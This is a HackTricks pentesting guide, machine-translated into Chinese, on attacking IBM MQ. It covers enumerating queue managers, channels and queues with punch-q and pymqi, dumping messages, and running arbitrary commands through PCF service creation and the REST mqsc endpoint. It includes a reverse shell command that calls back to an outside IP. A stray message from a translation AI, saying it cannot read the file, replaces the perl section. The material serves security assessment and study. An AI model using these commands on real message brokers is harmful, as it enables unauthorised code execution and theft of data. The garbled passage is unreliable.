1414 - Pentesting IBM MQ

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks

基本信息

IBM MQ 是 IBM 用于管理消息队列的技术。与其他 message broker 技术一样,它用于在生产者和消费者之间接收、存储、处理和分类信息。

默认情况下,IBM MQ 暴露 TCP 端口 1414。 有时,HTTP REST API 可能在端口 9443 上暴露。 指标 (Prometheus) 也可以从 TCP 端口 9157 访问。

IBM MQ 的 TCP 端口 1414 可用于操作消息、队列、通道等…,但也可用于控制实例

IBM 提供了大量技术文档,可在 https://www.ibm.com/docs/en/ibm-mq 获取。

工具

一个建议用于简化利用的工具是 punch-q,可通过 Docker 使用。该工具积极使用 Python 库 pymqi

对于更手动的方式,请使用 Python 库 pymqi。需要 IBM MQ dependencies

安装 pymqi

IBM MQ dependencies 需要被安装并加载:

  1. https://login.ibm.com/ 上创建一个账号 (IBMid)。
  2. https://www.ibm.com/support/fixcentral/swg/selectFixes?parent=ibm%7EWebSphere&product=ibm/WebSphere/WebSphere+MQ&release=9.0.0.4&platform=All&function=fixId&fixids=9.0.0.4-IBM-MQC-*,9.0.0.4-IBM-MQ-Install-Java-All,9.0.0.4-IBM-MQ-Java-InstallRA&useReleaseAsTarget=true&includeSupersedes=0&source=fc 下载 IBM MQ 库。对于 Linux x86_64,为 9.0.0.4-IBM-MQC-LinuxX64.tar.gz
  3. 解压(tar xvzf 9.0.0.4-IBM-MQC-LinuxX64.tar.gz)。
  4. 运行 sudo ./mqlicense.sh 接受许可条款。

如果你使用 Kali Linux,请修改文件 mqlicense.sh:删除/注释以下行(第105-110行之间):

if [ ${BUILD_PLATFORM} != `uname`_`uname ${UNAME_FLAG}` ]
then
  echo "ERROR: This package is incompatible with this system"
  echo "       This package was built for ${BUILD_PLATFORM}"
  exit 1
fi
  1. 安装这些软件包:
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesRuntime-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesClient-9.0.0-4.x86_64.rpm
sudo rpm --prefix /opt/mqm -ivh --nodeps --force-debian MQSeriesSDK-9.0.0-4.x86_64.rpm
  1. 然后,临时将 .so 文件加入 LD:export LD_LIBRARY_PATH=/opt/mqm/lib64在运行使用这些依赖的其他工具之前

然后,你可以克隆项目 pymqi:它包含有趣的代码片段、常量等。或者你可以直接安装该库:pip install pymqi

Using punch-q

With Docker

直接使用:sudo docker run --rm -ti leonjza/punch-q

Without Docker

克隆项目 punch-q,然后按照 readme 进行安装(pip install -r requirements.txt && python3 setup.py install)。

之后可以使用 punch-q 命令。

Enumeration

你可以使用 punch-qpymqi 尝试枚举 队列管理器名称、用户、通道和队列

如果 TCP/1414 被过滤,或者目标仅暴露内置的 web 服务器,也请检查 TCP/9443。较新的 IBM MQ 版本在启用 mqweb 时默认会在该端口暴露 IBM MQ Console / REST API,并且管理 REST 端点在你拥有有效凭据时可以执行任意 MQSC 命令。

Queue Manager

有时,获取队列管理器名称没有任何保护:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 discover name
Queue Manager name: MYQUEUEMGR

通道

punch-q 正在使用一个内部 (可修改) wordlist 来查找现有的通道。用法示例:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd discover channels
"DEV.ADMIN.SVRCONN" exists and was authorised.
"SYSTEM.AUTO.SVRCONN" might exist, but user was not authorised.
"SYSTEM.DEF.SVRCONN" might exist, but user was not authorised.

有些 IBM MQ 实例接受 未经认证的 MQ 请求,因此不需要 --username / --password。当然,访问权限也可能不同。

一旦我们得到一个通道名称(这里:DEV.ADMIN.SVRCONN),就可以枚举所有其他通道。

基本上可以用 pymqi 中的这个代码片段 code/examples/dis_channels.py 来进行枚举:

import logging
import pymqi

logging.basicConfig(level=logging.INFO)

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

prefix = '*'

args = {pymqi.CMQCFC.MQCACH_CHANNEL_NAME: prefix}

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
response = pcf.MQCMD_INQUIRE_CHANNEL(args)
except pymqi.MQMIError as e:
if e.comp == pymqi.CMQC.MQCC_FAILED and e.reason == pymqi.CMQC.MQRC_UNKNOWN_OBJECT_NAME:
logging.info('No channels matched prefix `%s`' % prefix)
else:
raise
else:
for channel_info in response:
channel_name = channel_info[pymqi.CMQCFC.MQCACH_CHANNEL_NAME]
logging.info('Found channel `%s`' % channel_name)

qmgr.disconnect()

… 但 punch-q 也嵌入了该部分(包含更多信息!)。它可以通过以下命令启动:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show channels -p '*'
Showing channels with prefix: "*"...

| Name                 | Type              | MCA UID | Conn Name | Xmit Queue | Description     | SSL Cipher |
|----------------------|-------------------|---------|-----------|------------|-----------------|------------|
| DEV.ADMIN.SVRCONN    | Server-connection |         |           |            |                 |            |
| DEV.APP.SVRCONN      | Server-connection | app     |           |            |                 |            |
| SYSTEM.AUTO.RECEIVER | Receiver          |         |           |            | Auto-defined by |            |
| SYSTEM.AUTO.SVRCONN  | Server-connection |         |           |            | Auto-defined by |            |
| SYSTEM.DEF.AMQP      | AMQP              |         |           |            |                 |            |
| SYSTEM.DEF.CLUSRCVR  | Cluster-receiver  |         |           |            |                 |            |
| SYSTEM.DEF.CLUSSDR   | Cluster-sender    |         |           |            |                 |            |
| SYSTEM.DEF.RECEIVER  | Receiver          |         |           |            |                 |            |
| SYSTEM.DEF.REQUESTER | Requester         |         |           |            |                 |            |
| SYSTEM.DEF.SENDER    | Sender            |         |           |            |                 |            |
| SYSTEM.DEF.SERVER    | Server            |         |           |            |                 |            |
| SYSTEM.DEF.SVRCONN   | Server-connection |         |           |            |                 |            |
| SYSTEM.DEF.CLNTCONN  | Client-connection |         |           |            |                 |            |

CHLAUTH / OAM recon

很多 “it connects but returns 2035” 的情况是由 CHLAUTH 规则或目标对象上缺失的 OAM 权限引起的。

如果你已经拥有 MQSC 的管理权限,MATCH(RUNCHECK) 是理解哪个规则会应用到远程连接的最快方法:

echo "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
| runmqsc MYQUEUEMGR

通过位于 9443 的 REST admin endpoint,可以远程执行相同的检查:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DISPLAY CHLAUTH(DEV.ADMIN.SVRCONN) MATCH(RUNCHECK) CLNTUSER('admin') ADDRESS('10.10.10.10')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

如果你有足够的权限远程使用 PCF,IBM 会暴露 MQCMD_INQUIRE_CHLAUTH_RECS,它返回通道身份验证记录及其到 MCAUSER 的映射。这对于在尝试消息访问、对象创建或服务滥用之前确认某个通道是否将远程用户映射到更高权限的本地账户很有用。

队列

这里有一个使用 pymqidis_queues.py)的代码片段,但 punch-q 允许检索关于队列的更多信息:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN show queues -p '*'
Showing queues with prefix: "*"...
| Created   | Name                 | Type   | Usage   | Depth  | Rmt. QM | Rmt. Qu | Description                       |
|           |                      |        |         |        | GR Name | eue Nam |                                   |
|           |                      |        |         |        |         | e       |                                   |
|-----------|----------------------|--------|---------|--------|---------|---------|-----------------------------------|
| 2023-10-1 | DEV.DEAD.LETTER.QUEU | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 | E                    |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.1          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.2          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
| 2023-10-1 | DEV.QUEUE.3          | Local  | Normal  | 0      |         |         |                                   |
| 0 18.35.1 |                      |        |         |        |         |         |                                   |
| 9         |                      |        |         |        |         |         |                                   |
# Truncated

Exploit

Dump messages

你可以针对 queue(s)/channel(s) 嗅探或导出其中的消息(非破坏性操作)。示例:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages sniff
❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN messages dump

不要犹豫,对所有已识别的队列进行迭代。

代码执行

在继续之前的一些说明:IBM MQ 可以通过多种方式进行控制:MQSC、PCF、Control Command。可以在 IBM MQ documentation 找到一些通用列表。 PCF (Programmable Command Formats) 是我们用于远程与实例交互的重点。punch-qpymqi 都基于 PCF 交互实现。

You can find a list of PCF commands:

One interesting command is MQCMD_CREATE_SERVICE and its documentation is available here. It takes as argument a StartCommand pointing to a local program on the instance (example: /bin/sh).

There is also a warning of the command in the docs: “注意:此命令允许用户以 mqm 权限运行任意命令。如果被授予使用此命令的权限,恶意或粗心的用户可能会定义一个服务,从而损坏您的系统或数据,例如通过删除重要文件。”

Note: always according to IBM MQ documentation (Administration Reference), there is also an HTTP endpoint at /admin/action/qmgr/{qmgrName}/mqsc to run the equivalent MQSC command for service creation (DEFINE SERVICE). This aspect is not covered yet here.

如果 MQ Console / REST API 凭据可用,通常可以通过 HTTPS 在 9443 上访问相同的管理原语,而无需使用 MQ 客户端库。IBM 将 /ibmmq/rest/v3/admin/action/qmgr/{qmgrName}/mqsc 记录为一个接受 纯文本 MQSC 或 JSON 命令 的端点。

使用 PCF 进行服务创建/删除以实现远程程序执行可以通过 punch-q 完成:

Example 1

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/sh" --args "-c id"

在 IBM MQ 的日志中,你可以看到该命令已成功执行:

2023-10-10T19:13:01.713Z AMQ5030I: The Command '808544aa7fc94c48' has started. ProcessId(618). [ArithInsert1(618), CommentInsert1(808544aa7fc94c48)]

你还可以枚举机器上现有的程序(这里 /bin/doesnotexist … 不存在):

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command execute --cmd "/bin/doesnotexist" --arg
s "whatever"
Command: /bin/doesnotexist
Arguments: -c id
Service Name: 6e3ef5af652b4436

Creating service...
Starting service...
The program '/bin/doesnotexist' is not available on the remote system.
Giving the service 0 second(s) to live...
Cleaning up service...
Done

请注意程序启动是异步的。所以你需要第二个项目来利用 exploit (listener for reverse shell, file creation on different service, data exfiltration through network …)

相同的技术可以通过 REST API 驱动:

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DEFINE SERVICE(HACKTRICKS) CONTROL(MANUAL) SERVTYPE(COMMAND) STARTCMD('/bin/sh') STARTARG('-c id >/tmp/mq.id')" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "START SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

curl -sku 'admin:passw0rd' \
-H 'ibm-mq-rest-csrf-token: anything' \
-H 'Content-Type: text/plain;charset=utf-8' \
--data "DELETE SERVICE(HACKTRICKS)" \
https://TARGET:9443/ibmmq/rest/v3/admin/action/qmgr/MYQUEUEMGR/mqsc

在评估过程中这尤其有用,适用于以下情况:

  • 9443 可达,但 1414 被限制为更小的源范围
  • 目标团队主要通过 web 控制台管理 IBM MQ,并忘记对 REST 角色进行加固
  • 你希望避免在本地安装 IBM MQ 客户端库,并且只需要 MQSC 级别的管理

示例 2

为便于执行 reverse shell,punch-q 还提供两个 reverse shell payloads :

  • 一个使用 bash
  • 一个使用 perl

当然你可以使用 execute 命令构建自定义的。

针对 bash:

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

我无法直接读取你的仓库文件。请把 “For perl:” 段落(包含相关 markdown/代码)粘贴到这里,或确认要翻译文件中的哪一部分。我收到内容后会按要求把英文翻成中文,并保留原有的 markdown/HTML/路径/标签不变。

❯ sudo docker run --rm -ti leonjza/punch-q --host 172.17.0.2 --port 1414 --username admin --password passw0rd --channel DEV.ADMIN.SVRCONN command reverse -i 192.168.0.16 -p 4444

自定义 PCF

你可以查阅 IBM MQ 文档,直接使用 pymqi python 库来测试 punch-q 中未实现的特定 PCF 命令。

示例:

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
# Replace here with your custom PCF args and command
# The constants can be found in pymqi/code/pymqi/CMQCFC.py
args = {pymqi.CMQCFC.xxxxx: "value"}
response = pcf.MQCMD_CUSTOM_COMMAND(args)
except pymqi.MQMIError as e:
print("Error")
else:
# Process response

qmgr.disconnect()

如果你找不到常量名称,可以参考 IBM MQ documentation

_示例针对 MQCMD_REFRESH_CLUSTER (Decimal = 73)。它需要参数 MQCA_CLUSTER_NAME (Decimal = 2029),可以为 _ (Doc: ):*

import pymqi

queue_manager = 'MYQUEUEMGR'
channel = 'DEV.ADMIN.SVRCONN'
host = '172.17.0.2'
port = '1414'
conn_info = '%s(%s)' % (host, port)
user = 'admin'
password = 'passw0rd'

qmgr = pymqi.connect(queue_manager, channel, conn_info, user, password)
pcf = pymqi.PCFExecute(qmgr)

try:
   args = {2029: "*"}
   response = pcf.MQCMD_REFRESH_CLUSTER(args)
except pymqi.MQMIError as e:
   print("Error")
else:
   print(response)

qmgr.disconnect()

测试环境

如果你想测试 IBM MQ 的行为和 exploits,你可以基于 Docker 搭建一个本地环境:

  1. 在 ibm.com 和 cloud.ibm.com 拥有一个账号。
  2. 使用以下方式创建一个容器化的 IBM MQ:
sudo docker pull icr.io/ibm-messaging/mq:latest
sudo docker run -e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR -p1414:1414 -p9157:9157 -p9443:9443 --name testing-ibmmq icr.io/ibm-messaging/mq:latest

在这里,队列管理器名称已设置为 MYQUEUEMGR(变量 MQ_QMGR_NAME)。

最近的 9.4.x 开发者镜像更改了默认行为:

  • adminapp 只有在你设置了它们的密码时才会被创建
  • IBM 将 MQ_ADMIN_PASSWORD / MQ_APP_PASSWORD9.4.0.0 起标注为 已弃用
  • 推荐的做法是注入名为 mqAdminPasswordmqAppPassword 的 secrets

对于使用 Podman 的快速本地实验,你可以这样创建这两个用户:

printf 'passw0rd' | podman secret create mqAdminPassword -
printf 'passw0rd' | podman secret create mqAppPassword -
podman run --secret mqAdminPassword --secret mqAppPassword \
-e LICENSE=accept -e MQ_QMGR_NAME=MYQUEUEMGR \
-p1414:1414 -p9157:9157 -p9443:9443 \
--name testing-ibmmq icr.io/ibm-messaging/mq:latest

使用默认开发者配置:

  • DEV.ADMIN.SVRCONN 只允许 admin 用户
  • DEV.APP.SVRCONN 是应用通道,预期身份为 app 用户
  • https://<target>:9443/ibmmq/console 在嵌入式 web 服务器启用时暴露 web 控制台

你应该已经让 IBM MQ 启动并运行,并暴露其端口:

❯ sudo docker ps
CONTAINER ID   IMAGE                                COMMAND                  CREATED         STATUS                    PORTS                                                                    NAMES
58ead165e2fd   icr.io/ibm-messaging/mq:latest       "runmqdevserver"         3 seconds ago   Up 3 seconds              0.0.0.0:1414->1414/tcp, 0.0.0.0:9157->9157/tcp, 0.0.0.0:9443->9443/tcp   testing-ibmmq

旧版本的 IBM MQ docker images 位于: https://hub.docker.com/r/ibmcom/mq/.

参考资料

Tip

学习和实践 AWS 黑客技术:HackTricks Training AWS Red Team Expert (ARTE)
学习和实践 GCP 黑客技术:HackTricks Training GCP Red Team Expert (GRTE) 学习和实践 Azure 黑客技术:HackTricks Training Azure Red Team Expert (AzRTE)

支持 HackTricks